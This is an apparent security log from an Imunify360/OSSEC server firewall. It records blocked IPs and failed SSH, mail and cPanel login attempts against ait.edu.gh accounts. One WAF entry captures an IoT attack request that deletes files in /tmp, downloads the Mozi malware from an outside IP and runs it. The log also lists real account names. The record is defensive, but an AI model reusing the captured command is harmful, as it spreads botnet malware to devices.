Jan 26 19:16:10 ait sshd[2405496]: Invalid user ricaurteruedaabogados.com 2600 from 122.51.104.242 port 47244


plugin: ossec
rule: 6003
name: Imunify PAM. The IP has been locked by RBL
abuser: 122.51.104.242
description:
Jan 26 19:16:10 ait sshd[2405496]: pam_imunify(sshd:auth): [IM360_RBL] The IP 122.51.104.242 has been locked due to Imunify RBL


plugin: modsec
rule: 77142265
name: IM360 WAF: IOT unauthenticated file upload and RCE
abuser: 45.230.66.21
domain: 136.243.145.84:80
description:
IM360 WAF: IOT unauthenticated file upload and RCE||RSV:6.65||T:APACHE||MVN:REQUEST_URI||MV:/shell?cd+/tmp;rm+-rf+*;wget+http:/45.230.66.21:10067/mozi.a;chmod+777+mozi.a;/tmp/mozi.a+jaws||


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 106.246.224.218
description:
Jan 26 19:17:28 ait auth[2101633]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 106.246.224.218 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 111.70.49.184
description:
Jan 26 19:17:55 ait auth[2101633]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 111.70.49.184 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 153.141.58.190
description:
Jan 26 19:17:13 ait auth[2101633]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 153.141.58.190 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 153.141.58.190
description:
2025-01-26 19:17:15 dovecot_plain authenticator failed for p165190-obmd01.tokyo.ocn.ne.jp [153.141.58.190]:34423: 535 Incorrect authentication data (set_id=fusheini@ait.edu.gh)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 84.238.92.245
description:
Jan 26 19:17:27 ait auth[2101633]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 84.238.92.245 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 74.203.86.207
description:
Jan 26 19:17:42 ait auth[2101633]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 74.203.86.207 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 2.57.219.2
description:
Jan 26 19:17:19 ait auth[2101633]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 2.57.219.2 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 74.203.86.207
description:
2025-01-26 19:17:44 dovecot_plain authenticator failed for ([74.203.86.207]) [74.203.86.207]:57545: 535 Incorrect authentication data (set_id=ads19a00062y@ait.edu.gh)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 92.118.39.65
description:
2025-01-26 19:17:46 dovecot_login authenticator failed for ([92.118.39.65]) [92.118.39.65]:62375: 535 Incorrect authentication data (set_id=accounts)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 121.202.198.147
description:
Jan 26 19:17:51 ait auth[2101633]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 121.202.198.147 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 121.142.146.167
description:
Jan 26 19:18:04 ait auth[2101633]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 121.142.146.167 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 2.57.219.2
description:
2025-01-26 19:17:21 dovecot_plain authenticator failed for (94-43-224-106.dsl.utg.ge) [2.57.219.2]:58158: 535 Incorrect authentication data (set_id=fusheini@ait.edu.gh)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 84.238.92.245
description:
2025-01-26 19:17:29 dovecot_plain authenticator failed for ([84.238.92.245]) [84.238.92.245]:36881: 535 Incorrect authentication data (set_id=fusheini)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 92.118.39.65
description:
Jan 26 19:17:44 ait auth[2101633]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 92.118.39.65 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 121.202.198.147
description:
2025-01-26 19:17:53 dovecot_plain authenticator failed for (m121-202-198-147.smartone.com) [121.202.198.147]:37246: 535 Incorrect authentication data (set_id=ads20a00173y@ait.edu.gh)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 111.70.49.184
description:
2025-01-26 19:17:57 dovecot_plain authenticator failed for 111-70-49-184.emome-ip.hinet.net [111.70.49.184]:46620: 535 Incorrect authentication data (set_id=ads19a00062y)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 61.108.83.139
description:
Jan 26 19:18:29 ait auth[2101633]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 61.108.83.139 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 5.30.225.64
description:
Jan 26 19:18:24 ait auth[2101633]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 5.30.225.64 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 5.30.225.64
description:
2025-01-26 19:18:26 dovecot_plain authenticator failed for ([5.30.225.64]) [5.30.225.64]:40189: 535 Incorrect authentication data (set_id=jobs@jaster.us)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 61.108.83.139
description:
2025-01-26 19:18:31 dovecot_plain authenticator failed for ([61.108.83.254]) [61.108.83.139]:48011: 535 Incorrect authentication data (set_id=eng20a00052y@ait.edu.gh)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 188.168.12.14
description:
2025-01-26 19:18:35 dovecot_plain authenticator failed for (14.12.168.188.retail.ttk.ru) [188.168.12.14]:60680: 535 Incorrect authentication data (set_id=jobs)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 121.142.146.167
description:
2025-01-26 19:18:06 dovecot_plain authenticator failed for ([121.142.146.167]) [121.142.146.167]:49527: 535 Incorrect authentication data (set_id=ads20a00173y)


plugin: ossec
rule: 11000
name: Login failed on the cpanel service
abuser: 38.250.243.105
description:
[2025-01-26 19:18:37 +0100] info [webmaild] 38.250.243.105 - info@jabmar.org "POST /login/?login_only=1 HTTP/1.1" FAILED LOGIN webmaild: user password hash is missing from system (user probably does not exist)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 117.175.160.58
description:
Jan 26 19:18:48 ait auth[2101633]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 117.175.160.58 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 117.175.160.58
description:
2025-01-26 19:18:50 dovecot_plain authenticator failed for ([117.175.160.58]) [117.175.160.58]:50790: 535 Incorrect authentication data (set_id=eng20a00052y)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 185.254.254.95
description:
2025-01-26 19:20:01 dovecot_plain authenticator failed for (paramingly) [185.254.254.95]:56610: 535 Incorrect authentication data (set_id=rfiawoo13@ait.edu.gh)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 27.188.73.223
description:
2025-01-26 19:19:58 dovecot_plain authenticator failed for ([27.188.73.223]) [27.188.73.223]:38676: 535 Incorrect authentication data (set_id=eejour13@ait.edu.gh)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 87.103.126.54
description:
2025-01-26 19:19:11 dovecot_plain authenticator failed for 54.126.103.87.rev.vodafone.pt (proveriess) [87.103.126.54]:17109: 535 Incorrect authentication data (set_id=eng15a00111y@ait.edu.gh)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 58.18.81.242
description:
Jan 26 19:19:27 ait auth[2101633]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 58.18.81.242 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 45.236.82.124
description:
Jan 26 19:19:42 ait auth[2101633]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 45.236.82.124 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 60.213.27.250
description:
Jan 26 19:20:04 ait auth[2101633]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 60.213.27.250 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 89.134.229.38
description:
Jan 26 19:19:26 ait auth[2101633]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 89.134.229.38 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 185.254.254.95
description:
Jan 26 19:19:59 ait auth[2101633]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 185.254.254.95 has been locked due to Imunify RBL


plugin: ossec
rule: 6003
name: Imunify PAM. The IP has been locked by RBL
abuser: 36.108.172.220
description:
Jan 26 19:19:56 ait sshd[2407190]: pam_imunify(sshd:auth): [IM360_RBL] The IP 36.108.172.220 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 27.188.73.223
description:
Jan 26 19:19:56 ait auth[2101633]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 27.188.73.223 has been locked due to Imunify RBL


plugin: ossec
rule: 2501
name: User authentication failure.
abuser: 36.108.172.220
description:
Jan 26 19:19:56 ait sshd[2407190]: pam_unix(sshd:auth): authentication failure; logname= uid=0 euid=0 tty=ssh ruser= rhost=36.108.172.220


plugin: ossec
rule: 11000
name: Login failed on the cpanel service
abuser: 103.49.203.110
description:
[2025-01-26 19:19:38 +0100] info [webmaild] 103.49.203.110 - info@myait.org "POST /login/?login_only=1 HTTP/1.1" FAILED LOGIN webmaild: user password hash is missing from system (user probably does not exist)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 171.244.63.170
description:
Jan 26 19:19:53 ait auth[2101633]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 171.244.63.170 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 171.244.63.170
description:
2025-01-26 19:19:55 dovecot_plain authenticator failed for ([171.244.63.170]) [171.244.63.170]:18706: 535 Incorrect authentication data (set_id=ads20a00227y@ait.edu.gh)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 87.103.126.54
description:
Jan 26 19:19:09 ait auth[2101633]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 87.103.126.54 has been locked due to Imunify RBL


plugin: modsec
rule: 33303
name: IM360 WAF: WordPress Bruteforce RBL block
abuser: 65.0.27.59
domain: iric.us
description:
IM360 WAF: WordPress Bruteforce RBL block||Name:admin||WPU:admin||RSV:6.65||T:APACHE||MV:19-19.65.0.27.59


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 45.236.82.124
description:
2025-01-26 19:19:44 dovecot_login authenticator failed for (124.82.236.45.cable.dyn.ridsa.com.ar) [45.236.82.124]:58586: 535 Incorrect authentication data (set_id=admin)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 58.18.81.242
description:
2025-01-26 19:19:29 dovecot_login authenticator failed for ([58.18.81.242]) [58.18.81.242]:43606: 535 Incorrect authentication data (set_id=admin@ait.edu.gh)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 24.187.253.67
description:
Jan 26 19:19:52 ait auth[2101633]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 24.187.253.67 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 59.15.251.33
description:
Jan 26 19:20:08 ait auth[2101633]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 59.15.251.33 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 59.15.251.33
description:
2025-01-26 19:20:10 dovecot_plain authenticator failed for ([59.15.251.33]) [59.15.251.33]:44226: 535 Incorrect authentication data (set_id=eejour13)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 43.153.107.247
description:
Jan 26 19:20:15 ait auth[2101633]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 43.153.107.247 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 106.246.224.218
description:
Jan 26 19:20:33 ait auth[2101633]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 106.246.224.218 has been locked due to Imunify RBL


plugin: ossec
rule: 2501
name: User authentication failure.
abuser: 122.51.104.242
description:
Jan 26 19:20:46 ait sshd[2407741]: pam_unix(sshd:auth): authentication failure; logname= uid=0 euid=0 tty=ssh ruser= rhost=122.51.104.242


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 60.8.50.150
description:
2025-01-26 19:20:58 dovecot_plain authenticator failed for ([60.8.50.150]) [60.8.50.150]:44688: 535 Incorrect authentication data (set_id=abs68b66600y@ait.edu.gh)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 60.213.27.250
description:
2025-01-26 19:20:06 dovecot_plain authenticator failed for ([60.213.27.250]) [60.213.27.250]:33880: 535 Incorrect authentication data (set_id=ads20a00227y)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 24.187.253.67
description:
Jan 26 19:20:08 ait auth[2101633]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 24.187.253.67 has been locked due to Imunify RBL


plugin: ossec
rule: 2501
name: User authentication failure.
abuser: 82.151.65.155
description:
Jan 26 19:20:12 ait sshd[2407403]: pam_unix(sshd:auth): authentication failure; logname= uid=0 euid=0 tty=ssh ruser= rhost=82.151.65.155


plugin: ossec
rule: 11000
name: Login failed on the cpanel service
abuser: 177.137.47.171
description:
[2025-01-26 19:20:14 +0100] info [webmaild] 177.137.47.171 - info@elibrary-edu.net "POST /login/?login_only=1 HTTP/1.1" FAILED LOGIN webmaild: user password hash is missing from system (user probably does not exist)


plugin: ossec
rule: 5710
name: Attempt to login using a non-existent user
abuser: 122.51.104.242
description:
Jan 26 19:20:46 ait sshd[2407741]: Invalid user ricaurteruedaabogados.com 2600 from 122.51.104.242 port 55628


plugin: ossec
rule: 6003
name: Imunify PAM. The IP has been locked by RBL
abuser: 122.51.104.242
description:
Jan 26 19:20:46 ait sshd[2407741]: pam_imunify(sshd:auth): [IM360_RBL] The IP 122.51.104.242 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 60.8.50.150
description:
Jan 26 19:20:56 ait auth[2101633]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 60.8.50.150 has been locked due to Imunify RBL


plugin: ossec
rule: 6003
name: Imunify PAM. The IP has been locked by RBL
abuser: 82.151.65.155
description:
Jan 26 19:20:12 ait sshd[2407403]: pam_imunify(sshd:auth): [IM360_RBL] The IP 82.151.65.155 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 64.68.229.201
description:
Jan 26 19:21:18 ait auth[2101633]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 64.68.229.201 has been locked due to Imunify RBL


plugin: ossec
rule: 11000
name: Login failed on the cpanel service
abuser: 102.107.117.9
description:
[2025-01-26 19:21:24 +0100] info [webmaild] 102.107.117.9 - info@ait-edu.net "POST /login/?login_only=1 HTTP/1.1" FAILED LOGIN webmaild: user password hash is missing from system (user probably does not exist)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 31.173.20.146
description:
2025-01-26 19:21:35 dovecot_plain authenticator failed for ([31.173.20.146]) [31.173.20.146]:50204: 535 Incorrect authentication data (set_id=edonkor@ait.edu.gh)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 122.166.69.211
description:
Jan 26 19:21:44 ait auth[2101633]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 122.166.69.211 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 121.202.153.175
description:
2025-01-26 19:21:11 dovecot_plain authenticator failed for ([121.202.153.175]) [121.202.153.175]:7093: 535 Incorrect authentication data (set_id=abs68b66600y)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 93.182.160.223
description:
Jan 26 19:21:29 ait auth[2101633]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 93.182.160.223 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 93.182.160.223
description:
2025-01-26 19:21:31 dovecot_login authenticator failed for ([93.182.160.223]) [93.182.160.223]:56162: 535 Incorrect authentication data (set_id=admin)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 122.166.69.211
description:
2025-01-26 19:21:46 dovecot_plain authenticator failed for (abts-kk-static-211.69.166.122.airtelbroadband.in) [122.166.69.211]:50805: 535 Incorrect authentication data (set_id=edonkor)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 121.202.153.175
description:
Jan 26 19:21:09 ait auth[2101633]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 121.202.153.175 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 64.68.229.201
description:
2025-01-26 19:21:20 dovecot_login authenticator failed for s201-229-68-64.ssvec.az.wi-power.com [64.68.229.201]:49874: 535 Incorrect authentication data (set_id=admin@ait.edu.gh)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 31.173.20.146
description:
Jan 26 19:21:33 ait auth[2101633]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 31.173.20.146 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 154.144.255.209
description:
Jan 26 19:21:51 ait auth[2101633]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 154.144.255.209 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 154.144.255.209
description:
2025-01-26 19:21:53 dovecot_login authenticator failed for ([154.144.255.209]) [154.144.255.209]:51644: 535 Incorrect authentication data (set_id=admin@ait.edu.gh)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 94.206.49.146
description:
Jan 26 19:22:02 ait auth[2101633]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 94.206.49.146 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 94.206.49.146
description:
2025-01-26 19:22:04 dovecot_login authenticator failed for ([94.206.49.146]) [94.206.49.146]:51695: 535 Incorrect authentication data (set_id=admin)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 89.23.210.188
description:
Jan 26 19:23:00 ait auth[2101633]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 89.23.210.188 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 89.23.210.188
description:
2025-01-26 19:23:02 dovecot_plain authenticator failed for (matrachle) [89.23.210.188]:39855: 535 Incorrect authentication data (set_id=ads21a00061y@ait.edu.gh)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 91.149.142.21
description:
Jan 26 19:22:33 ait auth[2101633]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 91.149.142.21 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 218.22.253.37
description:
2025-01-26 19:22:33 dovecot_plain authenticator failed for ([218.22.253.37]) [218.22.253.37]:38664: 535 Incorrect authentication data (set_id=sng26b99239y@ait.edu.gh)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 220.189.235.126
description:
Jan 26 19:22:44 ait auth[2101633]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 220.189.235.126 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 218.22.253.37
description:
Jan 26 19:22:31 ait auth[2101633]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 218.22.253.37 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 91.149.142.21
description:
2025-01-26 19:22:35 dovecot_plain authenticator failed for (leased-line-93-125-83-110.telecom.by) [91.149.142.21]:35689: 535 Incorrect authentication data (set_id=ads21b00230y@ait.edu.gh)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 220.189.235.126
description:
2025-01-26 19:22:46 dovecot_plain authenticator failed for ([220.189.235.126]) [220.189.235.126]:45474: 535 Incorrect authentication data (set_id=sng26b99239y)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 218.23.156.227
description:
Jan 26 19:22:50 ait auth[2101633]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 218.23.156.227 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 218.23.156.227
description:
2025-01-26 19:22:52 dovecot_plain authenticator failed for ([218.23.156.227]) [218.23.156.227]:49158: 535 Incorrect authentication data (set_id=ads21b00230y)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 121.175.8.140
description:
Jan 26 19:22:17 ait auth[2101633]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 121.175.8.140 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 121.175.8.140
description:
2025-01-26 19:22:19 dovecot_login authenticator failed for ([121.175.8.140]) [121.175.8.140]:49512: 535 Incorrect authentication data (set_id=admin@ait.edu.gh)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 106.246.224.218
description:
Jan 26 19:22:57 ait auth[2101633]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 106.246.224.218 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 102.53.15.18
description:
Jan 26 19:23:22 ait auth[2101633]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 102.53.15.18 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 71.27.234.178
description:
Jan 26 19:23:23 ait auth[2101633]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 71.27.234.178 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 5.11.172.131
description:
Jan 26 19:24:00 ait auth[2101633]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 5.11.172.131 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 218.94.41.218
description:
Jan 26 19:24:01 ait auth[2101633]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 218.94.41.218 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 221.151.168.237
description:
2025-01-26 19:23:36 dovecot_plain authenticator failed for ([221.151.168.237]) [221.151.168.237]:35064: 535 Incorrect authentication data (set_id=eng19b00159y@ait.edu.gh)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 103.68.52.210
description:
Jan 26 19:23:10 ait auth[2101633]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 103.68.52.210 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 119.195.77.177
description:
Jan 26 19:23:16 ait auth[2101633]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 119.195.77.177 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 188.226.132.113
description:
2025-01-26 19:23:17 dovecot_login authenticator failed for ([188.226.132.113]) [188.226.132.113]:33589: 535 Incorrect authentication data (set_id=onajah@ait.edu.gh)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 62.106.37.249
description:
Jan 26 19:23:26 ait auth[2101633]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 62.106.37.249 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 221.151.168.237
description:
Jan 26 19:23:34 ait auth[2101633]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 221.151.168.237 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 188.226.132.113
description:
Jan 26 19:23:15 ait auth[2101633]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 188.226.132.113 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 106.86.209.86
description:
Jan 26 19:24:02 ait auth[2101633]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 106.86.209.86 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 58.49.113.138
description:
Jan 26 19:23:47 ait auth[2101633]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 58.49.113.138 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 58.49.113.138
description:
2025-01-26 19:23:49 dovecot_login authenticator failed for ([218.106.120.18]) [58.49.113.138]:15818: 535 Incorrect authentication data (set_id=admin@ait.edu.gh)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 5.11.172.131
description:
2025-01-26 19:24:02 dovecot_login authenticator failed for ([5.11.172.131]) [5.11.172.131]:35528: 535 Incorrect authentication data (set_id=admin)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 121.202.153.186
description:
Jan 26 19:23:54 ait auth[2101633]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 121.202.153.186 has been locked due to Imunify RBL


plugin: ossec
rule: 6003
name: Imunify PAM. The IP has been locked by RBL
abuser: 175.126.195.176
description:
Jan 26 19:23:23 ait sshd[2408702]: pam_imunify(sshd:auth): [IM360_RBL] The IP 175.126.195.176 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 62.106.37.249
description:
2025-01-26 19:23:28 dovecot_login authenticator failed for host-62-106-37-249.dynamic.elmonet.fi [62.106.37.249]:40350: 535 Incorrect authentication data (set_id=admin)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 93.64.212.219
description:
Jan 26 19:23:22 ait auth[2101633]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 93.64.212.219 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 93.64.212.219
description:
2025-01-26 19:23:24 dovecot_login authenticator failed for net-93-64-212-219.cust.vodafonedsl.it [93.64.212.219]:47908: 535 Incorrect authentication data (set_id=onajah)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 71.27.234.178
description:
2025-01-26 19:23:25 dovecot_plain authenticator failed for ([71.27.234.178]) [71.27.234.178]:39388: 535 Incorrect authentication data (set_id=yeboah)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 60.2.203.254
description:
2025-01-26 19:23:49 dovecot_plain authenticator failed for ([60.2.203.254]) [60.2.203.254]:40972: 535 Incorrect authentication data (set_id=eng19b00159y)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 119.195.77.177
description:
2025-01-26 19:23:18 dovecot_login authenticator failed for ([119.195.77.177]) [119.195.77.177]:53796: 535 Incorrect authentication data (set_id=admin@ait.edu.gh)


plugin: ossec
rule: 2501
name: User authentication failure.
abuser: 175.126.195.176
description:
Jan 26 19:23:23 ait sshd[2408702]: pam_unix(sshd:auth): authentication failure; logname= uid=0 euid=0 tty=ssh ruser= rhost=175.126.195.176


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 102.53.15.18
description:
2025-01-26 19:23:24 dovecot_plain authenticator failed for (asmotived) [102.53.15.18]:52852: 535 Incorrect authentication data (set_id=eng19a00005y@ait.edu.gh)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 121.202.153.186
description:
2025-01-26 19:23:56 dovecot_login authenticator failed for (m121-202-153-186.smartone.com) [121.202.153.186]:31463: 535 Incorrect authentication data (set_id=admin@ait.edu.gh)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 103.68.52.210
description:
2025-01-26 19:23:12 dovecot_plain authenticator failed for ([103.68.52.210]) [103.68.52.210]:56996: 535 Incorrect authentication data (set_id=yeboah@ait.edu.gh)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 60.2.203.254
description:
Jan 26 19:23:47 ait auth[2101633]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 60.2.203.254 has been locked due to Imunify RBL


plugin: ossec
rule: 2501
name: User authentication failure.
abuser: 117.128.86.100
description:
Jan 26 19:24:04 ait sshd[2409013]: pam_unix(sshd:auth): authentication failure; logname= uid=0 euid=0 tty=ssh ruser= rhost=117.128.86.100


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 94.200.20.66
description:
